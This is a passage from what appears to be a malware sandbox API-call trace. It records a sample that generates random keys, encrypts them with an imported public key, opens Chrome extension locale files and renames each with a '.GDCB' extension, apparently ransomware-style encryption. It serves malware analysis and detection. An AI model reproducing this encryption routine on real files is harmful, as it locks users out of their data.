[0264.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.377] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.383] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.383] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.386] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794160) returned 1 [0264.386] CryptGetKeyParam (in: hKey=0x6794160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.386] CryptEncrypt (in: hKey=0x6794160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.386] GetLastError () returned 0x0 [0264.386] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.386] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.388] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67944e0) returned 1 [0264.388] CryptGetKeyParam (in: hKey=0x67944e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.388] CryptEncrypt (in: hKey=0x67944e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.388] GetLastError () returned 0x0 [0264.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.388] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.390] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.393] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.395] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdc, lpOverlapped=0x0) returned 1 [0264.404] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.411] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0264.416] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.421] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.421] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.421] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.421] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.426] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.426] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.426] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.428] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67942e0) returned 1 [0264.428] CryptGetKeyParam (in: hKey=0x67942e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.428] CryptEncrypt (in: hKey=0x67942e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.428] GetLastError () returned 0x0 [0264.428] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.428] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.430] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67941a0) returned 1 [0264.430] CryptGetKeyParam (in: hKey=0x67941a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.430] CryptEncrypt (in: hKey=0x67941a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.430] GetLastError () returned 0x0 [0264.430] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.432] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.436] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdf, lpOverlapped=0x0) returned 1 [0264.445] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.452] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0264.458] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.463] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.463] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.463] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.494] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.494] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.494] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.497] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67941e0) returned 1 [0264.497] CryptGetKeyParam (in: hKey=0x67941e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.497] CryptEncrypt (in: hKey=0x67941e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.497] GetLastError () returned 0x0 [0264.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.497] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.499] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794260) returned 1 [0264.499] CryptGetKeyParam (in: hKey=0x6794260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.499] CryptEncrypt (in: hKey=0x6794260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.499] GetLastError () returned 0x0 [0264.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.501] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.504] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.506] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe2, lpOverlapped=0x0) returned 1 [0264.515] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.523] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0264.530] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.535] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.535] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.535] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.535] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.540] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.540] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.540] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.540] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67942a0) returned 1 [0264.543] CryptGetKeyParam (in: hKey=0x67942a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.543] CryptEncrypt (in: hKey=0x67942a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.543] GetLastError () returned 0x0 [0264.543] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.543] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.545] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794320) returned 1 [0264.545] CryptGetKeyParam (in: hKey=0x6794320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.545] CryptEncrypt (in: hKey=0x6794320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.545] GetLastError () returned 0x0 [0264.545] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.546] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.549] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.552] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xee, lpOverlapped=0x0) returned 1 [0264.560] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.567] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.gdcb")) returned 1 [0264.572] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.579] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.579] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.579] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.581] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.583] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.584] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.586] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67943a0) returned 1 [0264.586] CryptGetKeyParam (in: hKey=0x67943a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.586] CryptEncrypt (in: hKey=0x67943a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.586] GetLastError () returned 0x0 [0264.586] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.586] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.588] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ea0) returned 1 [0264.588] CryptGetKeyParam (in: hKey=0x6794ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.589] CryptEncrypt (in: hKey=0x6794ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.589] GetLastError () returned 0x0 [0264.589] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.590] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.593] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.595] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x11a, lpOverlapped=0x0) returned 1 [0264.603] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.611] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0264.616] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.622] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.622] CryptAcquireContextW (in: phProv=0x285cd2c, 